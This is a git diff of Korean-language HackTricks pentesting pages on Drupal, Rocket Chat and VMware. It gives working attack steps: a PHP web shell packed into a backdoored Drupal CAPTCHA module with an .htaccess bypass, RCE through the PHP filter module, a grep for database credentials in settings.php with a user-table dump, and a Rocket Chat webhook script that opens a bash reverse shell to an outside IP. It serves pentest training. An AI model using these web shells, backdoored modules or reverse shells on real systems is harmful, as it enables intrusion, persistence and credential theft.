||||
![](<../../.gitbook/assets/image (227) (1) (1).png>)
|
||||
![](<../../.gitbook/assets/image (227) (1) (1) (1).png>)
|
||||
|
||||
### 숨겨진 페이지
|
||||
|
||||
**`/node/$` 형식으로 퍼징하십시오. 여기서 `$`는 숫자입니다** (예: 1에서 500까지).\
|
||||
**`/node/$`로 퍼징하십시오. 여기서 `$`는 숫자** (예: 1에서 500까지).\
|
||||
검색 엔진에서 참조되지 않는 **숨겨진 페이지** (테스트, 개발)를 찾을 수 있습니다.
|
||||
|
||||
#### 설치된 모듈 정보
|
||||
|
@ -85,85 +90,71 @@ curl https://example.com/core/core.services.yml
|
|||
# Download content from files exposed in the previous step
|
||||
curl https://example.com/config/sync/swiftmailer.transport.yml
|
||||
```
|
||||
### 자동
|
||||
|
||||
Drupal은 웹 사이트 및 애플리케이션을 구축하기 위한 강력한 콘텐츠 관리 시스템(CMS)입니다. Drupal은 다양한 기능과 모듈을 제공하여 사용자 정의 웹 사이트를 만들 수 있습니다. 그러나 이러한 유연성은 보안 취약점을 남겨둘 수도 있습니다. 따라서 Drupal 웹 사이트를 펜테스팅하는 것은 중요합니다.
|
||||
|
||||
Drupal 웹 사이트를 펜테스팅하기 위해 자동화된 도구를 사용할 수 있습니다. 이러한 도구는 웹 사이트의 취약점을 식별하고 악용할 수 있는 기능을 제공합니다. 자동화된 도구를 사용하면 시간과 노력을 절약할 수 있으며, 더 많은 취약점을 발견할 수 있습니다.
|
||||
|
||||
자동화된 도구 중 일부는 다음과 같습니다.
|
||||
|
||||
- **Drupwn**: Drupal 웹 사이트를 검색하고 취약점을 식별하는 도구입니다. 이 도구는 Drupal 사이트의 버전, 모듈 및 테마를 식별할 수 있습니다. 또한 취약한 설정 및 기본 자격 증명을 찾을 수도 있습니다.
|
||||
|
||||
- **Droopescan**: Drupal 웹 사이트를 검색하고 취약점을 식별하는 도구입니다. 이 도구는 Drupal 사이트의 버전, 모듈 및 테마를 식별할 수 있습니다. 또한 취약한 설정 및 기본 자격 증명을 찾을 수도 있습니다.
|
||||
|
||||
- **Drupalgeddon**: Drupal 사이트에서 실행되는 취약한 버전을 식별하는 도구입니다. 이 도구는 Drupal 사이트에서 실행되는 취약한 버전을 식별하고 악용할 수 있는 기능을 제공합니다.
|
||||
|
||||
이러한 자동화된 도구를 사용하여 Drupal 웹 사이트를 펜테스팅하면 취약점을 신속하게 식별하고 보안을 강화할 수 있습니다. 그러나 이러한 도구는 전문 지식과 주의가 필요하며, 합법적인 펜테스팅 목적으로만 사용해야 합니다.
|
||||
### 자동화
|
||||
```bash
|
||||
droopescan scan drupal -u http://drupal-site.local
|
||||
```
|
||||
## RCE
|
||||
|
||||
### PHP Filter 모듈을 사용한 방법
|
||||
### PHP 필터 모듈을 사용한 RCE
|
||||
|
||||
{% hint style="warning" %}
|
||||
Drupal의 이전 버전 **(버전 8 이전)**에서는 관리자로 로그인하여 **`PHP filter` 모듈을 활성화**할 수 있었습니다. 이 모듈은 "내장된 PHP 코드/스니펫을 평가할 수 있게 합니다."
|
||||
Drupal의 **이전 버전**(버전 8 이전)에서는 관리자로 로그인하여 `PHP 필터` 모듈을 **활성화**할 수 있었습니다. 이 모듈은 "내장 PHP 코드/스니펫을 평가할 수 있게 합니다."
|
||||
{% endhint %}
|
||||
|
||||
**플러그인 php가 설치되어 있어야 합니다** (접근하여 _/modules/php_를 확인하고 **403**이 반환되면 **존재합니다**, **찾을 수 없다면**, **플러그인 php가 설치되어 있지 않습니다**)
|
||||
**플러그인 php가 설치되어 있어야** 합니다(접근하여 _/modules/php_를 확인하고 **403**이 반환되면 **존재**합니다. **찾을 수 없으면**, **플러그인 php가 설치되어 있지 않습니다**)
|
||||
|
||||
_Modules_로 이동 -> (**확인**) _PHP Filter_ -> _구성 저장_
|
||||
|
||||
![](<../../.gitbook/assets/image (247) (1).png>)
|
||||
|
||||
그런 다음 _Add content_를 클릭 -> _Basic Page_ 또는 _Article_ 선택 -> _본문에 php 쉘 코드 작성_ -> _Text format_에서 _PHP code_ 선택 -> _Preview_ 선택
|
||||
그런 다음 _콘텐츠 추가_를 클릭 -> _기본 페이지_ 또는 _기사 선택_ -> _본문에 php 쉘코드 작성_ -> _텍스트 형식_에서 _PHP 코드_ 선택 -> _미리 보기_ 선택
|
||||
|
||||
![](<../../.gitbook/assets/image (253) (1).png>)
|
||||
![](<../../.gitbook/assets/image (335).png>)
|
||||
|
||||
마지막으로 방금 생성된 노드에 액세스하면 됩니다:
|
||||
마지막으로 방금 생성된 노드에 액세스하십시오:
|
||||
```bash
|
||||
curl http://drupal-site.local/node/3
|
||||
```
|
||||
### PHP 필터 모듈 설치
|
||||
|
||||
버전 8부터는 [PHP 필터](https://www.drupal.org/project/php/releases/8.x-1.1) 모듈이 기본적으로 설치되지 않습니다. 이 기능을 활용하기 위해서는 모듈을 직접 설치해야 합니다.
|
||||
버전 **8부터는** [**PHP 필터**](https://www.drupal.org/project/php/releases/8.x-1.1) **모듈이 기본으로 설치되지 않습니다**. 이 기능을 활용하려면 **모듈을 직접 설치해야 합니다**.
|
||||
|
||||
1. Drupal 웹사이트에서 가장 최신 버전의 모듈을 다운로드합니다.
|
||||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
2. 다운로드가 완료되면 **`관리`** > **`보고서`** > **`사용 가능한 업데이트`**로 이동합니다.
|
||||
3. **`찾아보기`**를 클릭하고, 다운로드한 디렉토리에서 파일을 선택한 후 **`설치`**를 클릭합니다.
|
||||
4. 모듈이 설치되면 **`콘텐츠`**를 클릭하고, Drupal 7 예제와 유사하게 **새로운 기본 페이지를 생성**합니다. 다시 한 번, **`텍스트 형식` 드롭다운에서 `PHP 코드`를 선택**해야 합니다.
|
||||
1. Drupal 웹사이트에서 모듈의 최신 버전을 다운로드합니다.
|
||||
2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
3. 다운로드가 완료되면 **`관리`** > **`보고서`** > **`사용 가능한 업데이트`**로 이동합니다.
|
||||
4. **`찾아보기`**를 클릭하여 다운로드한 디렉토리에서 파일을 선택한 후 **`설치`**를 클릭합니다.
|
||||
5. 모듈이 설치되면 **`콘텐츠`**를 클릭하고 **Drupal 7 예제에서 한 것과 유사하게 새 기본 페이지를 만듭니다**. 다시 한번 **`텍스트 형식` 드롭다운에서 `PHP 코드`를 선택**해야 합니다.
|
||||
|
||||
### 백도어 모듈
|
||||
|
||||
백도어 모듈은 **기존 모듈에 쉘을 추가함으로써 생성**될 수 있습니다. 모듈은 drupal.org 웹사이트에서 찾을 수 있습니다. [CAPTCHA](https://www.drupal.org/project/captcha)와 같은 모듈을 선택해보겠습니다. 아래로 스크롤하여 tar.gz [아카이브](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)의 링크를 복사합니다.
|
||||
백도어 모듈은 **기존 모듈에 쉘을 추가하여 생성**할 수 있습니다. 모듈은 drupal.org 웹사이트에서 찾을 수 있습니다. [CAPTCHA](https://www.drupal.org/project/captcha)와 같은 모듈을 선택해 보겠습니다. 아래 링크에서 tar.gz [아카이브](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) 링크를 복사합니다.
|
||||
|
||||
* 아카이브를 다운로드하고, 그 내용을 추출합니다.
|
||||
* 아카이브를 다운로드하고 내용을 추출합니다.
|
||||
```
|
||||
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
||||
tar xvf captcha-8.x-1.2.tar.gz
|
||||
```
|
||||
* 다음 내용으로 **PHP 웹 쉘**을 생성하세요:
|
||||
* 다음 내용으로 **PHP 웹 쉘**을 생성하십시오:
|
||||
```php
|
||||
<?php
|
||||
system($_GET["cmd"]);
|
||||
?>
|
||||
```
|
||||
* 다음으로, 우리는 폴더에 접근하기 위해 **`.htaccess`** 파일을 생성해야 합니다. 이는 Drupal이 **`/modules`** 폴더에 직접적인 접근을 거부하기 때문에 필요합니다.
|
||||
* 다음으로, 우리는 폴더에 접근할 수 있도록 **`.htaccess`** 파일을 생성해야 합니다. 이것은 Drupal이 **`/modules`** 폴더에 직접 액세스하는 것을 거부하기 때문에 필요합니다.
|
||||
```html
|
||||
<IfModule mod_rewrite.c>
|
||||
RewriteEngine On
|
||||
RewriteBase /
|
||||
</IfModule>
|
||||
```
|
||||
* 위의 구성은 /modules에서 파일을 요청할 때 / 폴더에 대한 규칙을 적용합니다. 이 두 파일을 captcha 폴더로 복사하고 아카이브를 생성하세요.
|
||||
* 위의 구성은 /modules에서 파일을 요청할 때 / 폴더에 대한 규칙을 적용합니다. 이 두 파일을 captcha 폴더로 복사하고 아카이브를 만듭니다.
|
||||
```bash
|
||||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* 웹 사이트에 **관리자 액세스**가 있다고 가정하고, 사이드바에서 **`관리`**를 클릭한 다음 **`확장`**을 클릭합니다. 그런 다음 **`+ 새 모듈 설치`** 버튼을 클릭하면 설치 페이지로 이동합니다. 예를 들어 `http://drupal-site.local/admin/modules/install`로 이동합니다. 백도어가 있는 Captcha 아카이브로 이동하여 **`설치`**를 클릭합니다.
|
||||
* 설치가 성공하면 명령을 실행하기 위해 **`/modules/captcha/shell.php`**로 이동합니다.
|
||||
* 웹 사이트에 **관리자 액세스**가 있다고 가정하고, 사이드바에서 **`관리`**를 클릭한 다음 **`확장`**을 클릭합니다. 그 다음 **`+ 새 모듈 설치`** 버튼을 클릭하면 `http://drupal-site.local/admin/modules/install`과 같은 설치 페이지로 이동합니다. 백도어가 설치된 Captcha 아카이브로 이동하여 **`설치`**를 클릭합니다.
|
||||
* 설치가 성공하면 **`/modules/captcha/shell.php`**로 이동하여 명령을 실행합니다.
|
||||
|
||||
## 사후 침투
|
||||
|
||||
|
@ -171,25 +162,7 @@ tar cvf captcha.tar.gz captcha/
|
|||
```
|
||||
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
|
||||
```
|
||||
### DB에서 사용자 덤프하기
|
||||
|
||||
To dump users from the database, you can use the following steps:
|
||||
|
||||
1. Identify the database management system (DBMS) being used by the Drupal website. Common DBMS for Drupal include MySQL, PostgreSQL, and SQLite.
|
||||
|
||||
2. Use the appropriate command-line tool or graphical interface to connect to the database.
|
||||
|
||||
3. Once connected, execute a SQL query to retrieve the user information. The exact query will depend on the DBMS being used. For example, in MySQL, you can use the following query:
|
||||
|
||||
```sql
|
||||
SELECT * FROM users;
|
||||
```
|
||||
|
||||
This query will retrieve all the user records from the "users" table.
|
||||
|
||||
4. Save the query result to a file for further analysis. You can use the appropriate command or option provided by the DBMS tool to export the query result to a file.
|
||||
|
||||
By following these steps, you will be able to dump the users from the Drupal website's database. This information can be useful for further analysis or security testing purposes.
|
||||
### 데이터베이스에서 사용자 덤프하기
|
||||
```
|
||||
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
|
||||
```
|
||||
|
@ -197,16 +170,21 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
|
|||
|
||||
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 히어로까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,58 +2,68 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로부터 영웅이 되기까지 AWS 해킹을 배워보세요</strong>!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## RCE
|
||||
|
||||
Rocket Chat 내에서 관리자 권한이 있는 경우 RCE를 얻을 수 있습니다.
|
||||
만약 Rocket Chat 내에서 관리자라면 RCE를 얻을 수 있습니다.
|
||||
|
||||
* **`Integrations`**로 이동하고 **`New Integration`**을 선택하고 **`Incoming WebHook`** 또는 **`Outgoing WebHook`**을 선택합니다.
|
||||
* **`Integrations`**로 이동하고 **`New Integration`**을 선택하고 **`Incoming WebHook`** 또는 **`Outgoing WebHook`** 중 하나를 선택합니다.
|
||||
* `/admin/integrations/incoming`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (263).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* [문서](https://docs.rocket.chat/guides/administration/admin-panel/integrations)에 따르면 둘 다 데이터를 처리하기 위해 ES2015 / ECMAScript 6 ([기본적으로 JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c))를 사용합니다. 따라서 [rev shell for javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs)을 얻어봅시다.
|
||||
* [문서](https://docs.rocket.chat/guides/administration/admin-panel/integrations)에 따르면 둘 다 ES2015 / ECMAScript 6 ([기본적으로 JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c))를 사용하여 데이터를 처리합니다. 그래서 [노드JS를 위한 rev 쉘](../../generic-methodologies-and-resources/shells/linux.md#nodejs)을 가져오겠습니다.
|
||||
```javascript
|
||||
const require = console.log.constructor('return process.mainModule.require')();
|
||||
const { exec } = require('child_process');
|
||||
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
||||
```
|
||||
* 웹훅을 구성하세요 (채널과 사용자 이름으로 게시물이 존재해야 함):
|
||||
* 웹훅 구성 (채널 및 게시물의 사용자 이름이 있어야 함):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (902).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* 웹훅 스크립트를 구성하세요:
|
||||
* 웹훅 스크립트 구성:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (569).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* 변경 사항을 저장하세요.
|
||||
* 생성된 웹훅 URL을 가져오세요:
|
||||
* 변경 사항 저장
|
||||
* 생성된 웹훅 URL 가져오기:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (934).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* curl을 사용하여 호출하면 리버스 셸을 받아야 합니다.
|
||||
* curl로 호출하면 rev 쉘을 받아야 함
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 AWS 해킹을 전문가로 학습하세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,50 +1,48 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
# 열거
|
||||
```text
|
||||
```bash
|
||||
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
||||
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||
```
|
||||
# 브루트포스
|
||||
|
||||
브루트포스는 가장 기본적인 공격 기법 중 하나로, 모든 가능한 조합을 시도하여 암호를 찾는 방법입니다. 이 기법은 암호를 추측하는 데 사용되며, 대상 시스템에 대한 암호를 알아내기 위해 자동화된 도구를 사용할 수 있습니다.
|
||||
|
||||
브루트포스 공격은 대상 시스템에 대한 암호를 찾기 위해 많은 시간과 자원을 소비할 수 있습니다. 따라서 이 기법은 암호의 길이와 복잡성에 따라 성공할 가능성이 크게 달라집니다. 암호가 간단하고 짧은 경우에는 상대적으로 빠르게 암호를 찾을 수 있지만, 긴 암호나 복잡한 암호의 경우에는 많은 시간이 소요될 수 있습니다.
|
||||
|
||||
브루트포스 공격은 주로 로그인 인증 시스템에 사용되며, 암호를 찾기 위해 다양한 조합을 시도합니다. 이러한 조합에는 사전에 정의된 단어 목록, 일반적인 패스워드 패턴, 숫자 및 특수 문자의 조합 등이 포함될 수 있습니다.
|
||||
|
||||
브루트포스 공격은 대상 시스템에 대한 암호를 찾는 데 성공할 수 있지만, 이는 불법적인 활동으로 간주되며 법적인 문제를 일으킬 수 있습니다. 따라서 브루트포스 공격은 합법적인 펜테스팅 활동에서만 사용되어야 합니다.
|
||||
```text
|
||||
```bash
|
||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||
```
|
||||
유효한 자격 증명을 찾으면, 더 많은 메타스플로잇 스캐너 모듈을 사용하여 정보를 얻을 수 있습니다.
|
||||
만약 유효한 자격 증명을 찾는다면, 더 많은 metasploit 스캐너 모듈을 사용하여 정보를 얻을 수 있습니다.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 되기까지 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,28 +2,32 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하고 싶다면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
